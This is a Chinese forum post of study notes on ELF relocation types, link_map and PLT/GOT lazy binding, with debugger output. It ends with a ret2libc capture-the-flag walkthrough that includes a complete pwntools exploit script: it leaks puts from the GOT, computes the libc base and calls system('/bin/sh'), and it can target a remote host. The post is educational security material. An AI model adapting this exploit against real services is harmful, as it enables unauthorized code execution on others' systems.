0000000000003fb8  0000000400000006 R_X86_64_GLOB_DAT      0000000000000000 stdout@GLIBC_2.2.5 + 0
0000000000003fc0  0000000b00000006 R_X86_64_GLOB_DAT      0000000000000000 lib_global_counter + 0
0000000000003fc8  0000000d00000006 R_X86_64_GLOB_DAT      0000000000000000 __gmon_start__ + 0
0000000000003fd0  0000001000000006 R_X86_64_GLOB_DAT      0000000000000000 _ITM_registerTMCloneTable + 0
0000000000003fd8  0000001100000006 R_X86_64_GLOB_DAT      0000000000000000 lib_banner + 0
0000000000003fe0  0000001300000006 R_X86_64_GLOB_DAT      0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0
0000000000004058  0000000a00000001 R_X86_64_64            0000000000000000 lib_fp_target + 0

重定位节 '.rela.plt' at offset 0x8f8 contains 8 entries:
    偏移量             信息             类型               符号值          符号名称 + 加数
0000000000004000  0000000100000007 R_X86_64_JUMP_SLOT     0000000000000000 putchar@GLIBC_2.2.5 + 0
0000000000004008  0000000500000007 R_X86_64_JUMP_SLOT     0000000000000000 puts@GLIBC_2.2.5 + 0
0000000000004010  0000000600000007 R_X86_64_JUMP_SLOT     0000000000000000 strlen@GLIBC_2.2.5 + 0
0000000000004018  0000000700000007 R_X86_64_JUMP_SLOT     0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
0000000000004020  0000000800000007 R_X86_64_JUMP_SLOT     0000000000000000 setbuf@GLIBC_2.2.5 + 0
0000000000004028  0000000900000007 R_X86_64_JUMP_SLOT     0000000000000000 printf@GLIBC_2.2.5 + 0
0000000000004030  0000000c00000007 R_X86_64_JUMP_SLOT     0000000000000000 rc4_init + 0
0000000000004038  0000001200000007 R_X86_64_JUMP_SLOT     0000000000000000 rc4_crypt + 0

偏移量,就是在静态elf中的虚拟地址,
信息:高4字节表示 在动态符号表(.dynsym)中的位置的偏移, 低4字节表示 类型后面我们会讲常见的几种重定位类型
现在我们先讲一下这个加数一般会用在,R_X86_64_RELATIVE这种类型的情况中.
前面我们讲到的.init_array和.fini_array等等,不需要查找符号表,而是直接加载基地址修正一个本地elf的地址.这种情况一般出现在本地PIE的时候,一般加载到内存的时候地址是
每次随机变化的基础地址+偏移(elf静态下的虚拟地址), 我们就把这个偏移作为加数.因为函数必须在动态链接的时候确定位置
这种函数可能存在与 .init_array等位置,也可能存在于.data的位置
但是如果是非PIE,就不会出现这种情况,因为里面就直接存的地址了
现在我们再讲讲rela的各种类型

  1. R_X86_64_RELATIVE
    前面已经说过了某个位置需要保存“当前 ELF 内部某个地址”,而这个地址可以通过 当前 ELF 加载基址 + addend 直接算出来.所以当一个全局变量等于另一个全局变量的地址的时候也会用这个.不过非PIE的话就像上面说的就直接用地址了
  2. R_X86_64_64
    一般是某个位置需要保存一个“符号的绝对运行时地址”
    其实就是是会出现在.init_array,.fini_array,或者.data里面的函数地址,或者是别的外部库里面的全局变量的地址.比如
extern int lib_global_counter;

int *p = &lib_global_counter;

但是非PIE就不是专业的了,这个我们稍后讲解
3. R_X86_64_GLOB_DAT
一般用于给got表写入某个外部全局符号的真实运行地址,常见的比如直接调用外部某个全局变量之类的
4. R_X86_64_JUMP_SLOT
一般在.rela.plt,用于调用函数的延迟绑定操作,具体后续会讲解
5. R_X86_64_COPY
R_X86_64_COPY 通常出现在非 PIE / ET_EXEC 主程序直接引用共享库中的全局数据对象时。链接器会在主程序的 .bss/.data 中为该外部数据对象分配一份空间,动态链接器启动时把共享库中该对象的初始内容复制到主程序这块空间。之后该符号的引用通常绑定到主程序中的副本。

link_map

link_map

>struct link_map {  
ElfW(Addr) l_addr; /* 文件虚拟地址和内存地址之间的差值 */  
char *l_name; /* 对象路径名 */  
ElfW(Dyn) *l_ld; /* 动态段 .dynamic / PT_DYNAMIC */  
struct link_map *l_next;  
struct link_map *l_prev; /* 已加载对象链表 */  
};

这里
参考这里
截图-2026-06-27-21-23-03

可以看到其实 link_map是一个双向链表
l_name如果指向的是运行的主程序,比如现在就是一个空的链表
在这个进程中比如librc4demo.so他也会有一个linkmap,还有动态链接器的so文件
并且里面还有动态段的地址
还有
l_addr表示:运行时地址 = ELF 文件中的虚拟地址 + l_addr.其实可以视作内存的基地址这里.

其他的就是两个结构体指针分别指向上一个被加载的link_map和下一个被加载的link_map

延迟绑定

在函数内部使用 call 调用某个外部的函数(应该是函数地址)的时候.一般会使用.plt.sec 结合.plt 调用 然后在.rela.plt里面寻找具体是哪个
先看.plt.sec

 ~/Study/binbinbin/pwn/6month/ret2libc (1)/test  objdump -d  -j .plt.sec ./main_rc4                                                                                             ✔  20:45:17 

./main_rc4:     文件格式 elf64-x86-64


Disassembly of section .plt.sec:

00000000000010c0 <putchar@plt>:
    10c0:	endbr64
    10c4:	jmp    QWORD PTR [rip+0x2f36]        # 4000 <putchar@GLIBC_2.2.5>
    10ca:	nop    WORD PTR [rax+rax*1+0x0]

00000000000010d0 <puts@plt>:
    10d0:	endbr64
    10d4:	jmp    QWORD PTR [rip+0x2f2e]        # 4008 <puts@GLIBC_2.2.5>
    10da:	nop    WORD PTR [rax+rax*1+0x0]

00000000000010e0 <strlen@plt>:
    10e0:	endbr64
    10e4:	jmp    QWORD PTR [rip+0x2f26]        # 4010 <strlen@GLIBC_2.2.5>
    10ea:	nop    WORD PTR [rax+rax*1+0x0]

00000000000010f0 <__stack_chk_fail@plt>:
    10f0:	endbr64
    10f4:	jmp    QWORD PTR [rip+0x2f1e]        # 4018 <__stack_chk_fail@GLIBC_2.4>
    10fa:	nop    WORD PTR [rax+rax*1+0x0]

0000000000001100 <setbuf@plt>:
    1100:	endbr64
    1104:	jmp    QWORD PTR [rip+0x2f16]        # 4020 <setbuf@GLIBC_2.2.5>
    110a:	nop    WORD PTR [rax+rax*1+0x0]

0000000000001110 <printf@plt>:
    1110:	endbr64
    1114:	jmp    QWORD PTR [rip+0x2f0e]        # 4028 <printf@GLIBC_2.2.5>
    111a:	nop    WORD PTR [rax+rax*1+0x0]

0000000000001120 <rc4_init@plt>:
    1120:	endbr64
    1124:	jmp    QWORD PTR [rip+0x2f06]        # 4030 <rc4_init@Base>
    112a:	nop    WORD PTR [rax+rax*1+0x0]

0000000000001130 <rc4_crypt@plt>:
    1130:	endbr64
    1134:	jmp    QWORD PTR [rip+0x2efe]        # 4038 <rc4_crypt@Base>
    113a:	nop    WORD PTR [rax+rax*1+0x0]

比如我们看puts这里,jmp    QWORD PTR [rip+0x2f2e]这里jmp的这个rip+0x2f2e 其实是 got.plt 的地址,里面内存的内容在没有第一次调用前存储的是到.plt的

 ~/Study/binbinbin/pwn/6month/ret2libc (1)/test  objdump -d  -j .plt ./main_rc4                                                                                                 ✔  20:45:27 

./main_rc4:     文件格式 elf64-x86-64


Disassembly of section .plt:

0000000000001020 <.plt>:
    1020:	push   QWORD PTR [rip+0x2fca]        # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:	jmp    QWORD PTR [rip+0x2fcc]        # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
    102c:	nop    DWORD PTR [rax+0x0]
    1030:	endbr64
    1034:	push   0x0
    1039:	jmp    1020 <_init+0x20>
    103e:	xchg   ax,ax
    1040:	endbr64
    1044:	push   0x1
    1049:	jmp    1020 <_init+0x20>
    104e:	xchg   ax,ax
    1050:	endbr64
    1054:	push   0x2
    1059:	jmp    1020 <_init+0x20>
    105e:	xchg   ax,ax
    1060:	endbr64
    1064:	push   0x3
    1069:	jmp    1020 <_init+0x20>
    106e:	xchg   ax,ax
    1070:	endbr64
    1074:	push   0x4
    1079:	jmp    1020 <_init+0x20>
    107e:	xchg   ax,ax
    1080:	endbr64
    1084:	push   0x5
    1089:	jmp    1020 <_init+0x20>
    108e:	xchg   ax,ax
    1090:	endbr64
    1094:	push   0x6
    1099:	jmp    1020 <_init+0x20>
    109e:	xchg   ax,ax
    10a0:	endbr64
    10a4:	push   0x7
    10a9:	jmp    1020 <_init+0x20>
    10ae:	xchg   ax,ax

比如puts这里其实是到plt的1040这个偏移的位置

1040: endbr64

1044:	push   0x1
1049:	jmp    1020 <_init+0x20>
104e:	xchg   ax,ax

push 0x1其实 是rela.plt 这个表的哪一行是 puts

重定位节 '.rela.plt' at offset 0x8f8 contains 8 entries:
  偏移量          信息           类型           符号值        符号名称 + 加数
000000004000  000100000007 R_X86_64_JUMP_SLO 0000000000000000 putchar@GLIBC_2.2.5 + 0
000000004008  000500000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000004010  000600000007 R_X86_64_JUMP_SLO 0000000000000000 strlen@GLIBC_2.2.5 + 0
000000004018  000700000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000004020  000800000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000004028  000900000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000004030  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 rc4_init + 0
000000004038  001200000007 R_X86_64_JUMP_SLO 0000000000000000 rc4_crypt + 0

明显这里 第二行是puts,所以是0x1,push后又jump到 .plt的开始

0000000000001020 <.plt>:

1020:	push   QWORD PTR [rip+0x2fca]        # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
1026:	jmp    QWORD PTR [rip+0x2fcc]        # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
102c:	nop    DWORD PTR [rax+0x0]

把动态了链接的link_map信息压入栈中之后再jmp到动态链接器的resolver.动态链接器拿到了以下信息
link_map:当前 ELF 对象的信息,也就是 main_rc4 的动态链接上下文

relocation index:0x1,表示 .rela.plt 第 1 项(0开头)
之后`

  1. 根据 link_map 找到 main_rc4 的 .dynamic
  2. 从 .dynamic 找到 JMPREL,也就是 .rela.plt 起点
  3. 根据 relocation index = 1 找到 .rela.plt[1]
  4. 读取这一项:
    offset = 0x4008
    type = R_X86_64_JUMP_SLOT
    symbol index = 5
    symbol name = puts
  5. 通过 .dynsym[5] 和 .dynstr 得到符号名 puts
  6. 根据版本信息确认需要 puts@GLIBC_2.2.5  
  7. 在 libc.so.6 的 .dynsym 里查找 puts 的定义
  8. 算出 libc 中 puts 的真实地址
  9. 把真实地址写入 0x4008
  10. 跳转到 puts 执行
    我们以setbuf做一个示例
pwndbg> x/3i $rip
=> 0x555555555100 <setbuf@plt>:	endbr64
   0x555555555104 <setbuf@plt+4>:	jmp    QWORD PTR [rip+0x2f16]        # 0x555555558020 <setbuf@got[plt]>
   0x55555555510a <setbuf@plt+10>:	nop    WORD PTR [rax+rax*1+0x0]
pwndbg> x/3i 0x555555558020
   0x555555558020 <setbuf@got[plt]>:	jo     0x555555558072
   0x555555558022 <setbuf@got[plt]+2>:	push   rbp
   0x555555558023 <setbuf@got[plt]+3>:	push   rbp
pwndbg> x/3i *0x555555558020
   0x55555070:	Cannot access memory at address 0x55555070
pwndbg> x/3i 0x555555558020
   0x555555558020 <setbuf@got[plt]>:	jo     0x555555558072
   0x555555558022 <setbuf@got[plt]+2>:	push   rbp
   0x555555558023 <setbuf@got[plt]+3>:	push   rbp
pwndbg> x/gx 0x555555558020
0x555555558020 <setbuf@got[plt]>:	0x0000555555555070
pwndbg> x/4i 0x0000555555555070
   0x555555555070:	endbr64
   0x555555555074:	push   0x4
   0x555555555079:	jmp    0x555555555020
   0x55555555507e:	xchg   ax,ax
pwndbg>

这里我们可以发现.这个setbuf还没有被调用,所以我们先从call进入了plt.sec
不过0x555555558020 setbuf@got[plt]: 0x0000555555555070此时这里的got.plt里面存放的是plt里面的.之后我们再跳转

x/4g $rsp
0x7fffffffd2b0:	0x0000000000000004	0x00005555555552ac
0x7fffffffd2c0:	0x0000000000000000	0x0000000000000000

这里可以发现我们这里0004已经被压入栈,之后Link_map也会被压入栈我们可以在这里got.plt设置一个watch

pwndbg> c
Continuing.

Hardware watchpoint 3: *(void **)0x555555558020

Old value = (void *) 0x555555555070
New value = (void *) 0x7ffff7c8f750 <setbuf>

更改的时候,可以复发性.这里内存已经改成 so里面真正的函数了.
另外还有一个叫做plt.got的需要做出区分,有时候一些外部调用的函数,即使是正常使用call这种形式调用的.但是他需要在程序启动的时候使用到所以一来就要确认地址调用,所以这里就直接在动态链接器 启动的时候就和普通调用变量一样把地址放got表了

尝试完成一个pwn

这个是一个retl2ibc.
这里给了一个gadget

.text:0000000000401196 000 endbr64                 ; Terminate an Indirect Branch in 64-bit Mode
.text:000000000040119A 000 push    rbp
.text:000000000040119B 008 mov     rbp, rsp
.text:000000000040119E 008 pop     rdi
.text:000000000040119F 000 retn                    ; Return Near from Procedure
.text:000000000040119F     gadget endp

可以把他作为一个跳板我们可以用它来 给一些需要传入参数的函数用rdi传入参数.并且很轻易就retn回去了.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  puts("Welcome to Ret2libc!");
  vuln();
  puts("Bye!");
  return 0;
}

main函数如上,这里还经过了vuln.

text:00000000004011EA     ; __unwind {
.text:00000000004011EA 000 endbr64                 ; Terminate an Indirect Branch in 64-bit Mode
.text:00000000004011EE 000 push    rbp
.text:00000000004011EF 008 mov     rbp, rsp
.text:00000000004011F2 008 sub     rsp, 40h        ; Integer Subtraction
.text:00000000004011F6 048 lea     rax, s          ; Load Effective Address
.text:00000000004011FD 048 mov     rdi, rax        ; s
.text:0000000000401200 048 call    _puts           ; Call Procedure
.text:0000000000401205 048 mov     rax, cs:stdout@GLIBC_2_2_5
.text:000000000040120C 048 mov     rdi, rax        ; stream
.text:000000000040120F 048 call    _fflush         ; Call Procedure
.text:0000000000401214 048 lea     rax, [rbp+buf]  ; Load Effective Address
.text:0000000000401218 048 mov     edx, 200h       ; nbytes
.text:000000000040121D 048 mov     rsi, rax        ; buf
.text:0000000000401220 048 mov     edi, 0          ; fd
.text:0000000000401225 048 call    _read           ; Call Procedure
.text:000000000040122A 048 nop                     ; No Operation
.text:000000000040122B 048 leave                   ; High Level Procedure Exit
.text:000000000040122C 000 retn                    ; Return Near from Procedure
.text:000000000040122C     ; } // starts at 4011EA

可以发现这里buf只有0x40,但是read能输入0x200所以能轻易构建一个缓冲区溢出,现在我们来尝试构建第一个rop链接,来让我们获取运行时的libc.so.6的基址.
结构如下

payload1 = flat(
    b'A' * 72,
    pop_rdi,//是pop rdi这个代码的地址,那么就会pop 下面的 这个got.plt[puts]
    elf.got['puts'], //got.plt里面会存put的实际地址
    elf.plt['puts'],//用puts输出 上面的内容,其实这里调用的是plt.sec
    elf.sym['vuln'],
)

之后通过 puts的地址减去puts在libc的偏移获得内存中libc的基址.之后再libc里面找/bin/sh的字符串塞进rdi .然后再跳转到system的位置直接执行

from pwn import *
import sys
context.binary = './pwn'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
ld='./ld-linux-x86-64.so.2'
OFFEST=0x40+8
POP_RDI=0x40119e
RET=0x40119f
if len(sys.argv)==3:
    p=remote(sys.argv[1],int(sys.argv[2]))
else:
    p=process([ld,'--library-path', '.', './pwn'])
p.recvuntil(b'Input something:')
p.recvline()
payload=flat(
    b'a'*OFFEST,
    POP_RDI,
    elf.got['puts'],
    elf.plt['puts'],
    elf.sym['vuln'],
)
p.send(payload)
leak_line=p.recvline().rstrip(b'\n')
puts_leak = u64(leak_line.ljust(8, b'\x00'))
libc_base = puts_leak - libc.sym['puts']
log.info('puts leak: ' + hex(puts_leak))
log.info('libc base: ' + hex(libc_base))
system=libc_base + libc.sym['system']
binsh=libc_base + next(libc.search(b'/bin/sh'))
p.recvuntil(b'Input something:')
p.recvline()
payload1=flat(
    b'a'*OFFEST,
    RET,
    POP_RDI,
    binsh,
    system,
)
p.send(payload1)
p.interactive()



[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!

最后于 2天前 被kanxue编辑 ,原因:
收藏
免费 0
打赏
分享
最新回复 (1)
雪    币: 104
活跃值: (8875)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
tql
1天前
0
游客
登录 | 注册 方可回帖
返回